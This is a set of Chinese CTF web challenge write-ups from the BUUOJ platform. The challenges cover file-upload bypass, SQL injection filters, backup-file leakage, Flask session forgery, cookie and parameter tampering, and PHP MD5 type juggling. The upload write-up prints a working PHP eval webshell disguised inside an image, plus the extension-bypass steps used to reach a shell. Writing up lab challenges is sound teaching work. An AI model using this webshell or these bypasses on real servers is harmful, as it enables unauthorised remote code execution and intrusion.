CTF Web buu oj day14
[极客大挑战 2019]Upload
类型
文件上传
解题
第一种方法,通过做图片马:
- burp打开页面,title=上传头像:
- 上传一个图片吧,1.png,提交后提示Not image!看来这个图片格式不行
- 上传另一个格式的1.jpg,提交后提示NO! HACKER! your file included ‘<?’,看来这个图片有<?被检测到,Editor010打开图片找到<?去掉后上传成功
- 尝试通过url/uploads/1.jpg、url/upload/1.jpg访问,可以看到刚刚上传的图片1.jpg
- 接下来做图片马,通过1.jpg上传知道过滤<?,所以一句话木马要绕过这个检测:
<script language="php">@eval($_POST[666])</script>
把这个一句话放到2.php里,然后通过命令合成:
copy 1.jpg/b+2.php/a 999.jpg
6. 打开burp抓包功能,上传999.jpg,被burp抓包后,修改文件名后缀phtml,Accept:application/xhtml+xml。
如果修改成php,会提示NOT!php!
7. 蚁剑添加数据url/upload/999.phtml,密码666,测试连接成功。
连接后文件管理,根目录列表下找到flag:flag{c9c74b1e-4604-4700-84bf-e8609c56cdfa}。
[极客大挑战 2019]BabySQL
类型
SQL注入
解题
双字注入,过滤了or,and,from,select,union…
流程步骤
[ACTF2020 新生赛]BackupFile
类型
信息泄露
解题
跑dirsearch和御剑都跑不出来,返回429,访问量过多。
找到备份经常用的后缀名.rar.zip.7z.tar.gz.bak.swp.txt.html,访问index.php.bak下载源代码,简单判断key==str。
这里注意key是数字,str是字符串,而当数字和字符串比较时,当字符串中 以 数字开头 +字符串+数字或字符(字符串)+… 格式与数字进行 == 判断时,会取第一次出现字符(字符串)前的数字作为转换值。因此payload为/index.php?key=123
[HCTF 2018]admin
类型
?
解题
这题实际上就是试了一下admin/123就登陆成功并拿到flag
但是WP的思路也得学一下:
flask session伪造:
利用修改密码页面源代码泄露得知是flask框架
flask框架session存储在本地且从config.py里看到加密密钥
利用工具就可以decode,修改name,再encode,可以伪造成admin登录。
还有一种方法unicode欺骗,routes.py中定义strlower函数,传入username。
username经过nodegrep.prepare可以转换为小写,register()、login()、change()都调用了strlower,注册使用ᴬᴰᴹᴵᴺ,登录后可以看到变成了ADMIN,再修改ADMIN密码,将导致修改的是admin密码,最后用修改后密码登录就可以看到flag~
字母来源
[极客大挑战 2019]BuyFlag
类型
?
解题
打开页面访问pay.php
查看页面源代码,发现一段注释
其中post money and password,说明把请求改为POST方式,然后加上两个参数money和password,还有发现请求中出现一个Cookie:user=0,这里是提示“Only Cuit’s students can buy the FLAG”,因此user对应的应该是标识cuiter的值
按这个0-9爆破user这个参数,发现当user=1时,返回内容变化,please input your password!!
按之前的分析修改请求方式为POST,body parameter加上password=404abc,这里不能直接加404,会被if判断全是数字的。
还有注意要加上Content-Type: application/x-www-form-urlencoded,否则参数POST不上去。
加上money上传,提示数字太长
看了WP知道用科学计数法,当输入1e9及以上即1e10、1e11都可以返回flag,否则返回钱数不足
[BJDCTF2020]Easy MD5
类型
php代码审计-内置函数的参数的松散性
解题
PHP 手册中的 md5()函数的描述是md5(string $string, bool $binary = false): string,md5() 中的需要是一个 string 类型的参数。但是当你传递一个 array 时,md5()会无法正确地求出 array 的 md5 值,这样就会导致任意 2 个 array 的 md5 值都会相等。
- 题目抓包看到提示
这里是利用md5(‘ffifdyop’, true)可以得到’ or '6xxxxx的一个恒正表达式把hint的sql闭合
输入ffifdyop后打开一个新页面,查看源码发现注释php语句
当两个变量a和b变量不等,但md5()后hash相等时为真:
可以利用魔法hash即0e/d+或者两个array变量md5()值==
判断为真
再次来到一个页面,提示提交两个参数,md5()后===
比较
===
比较时array方式可以为真,返回flag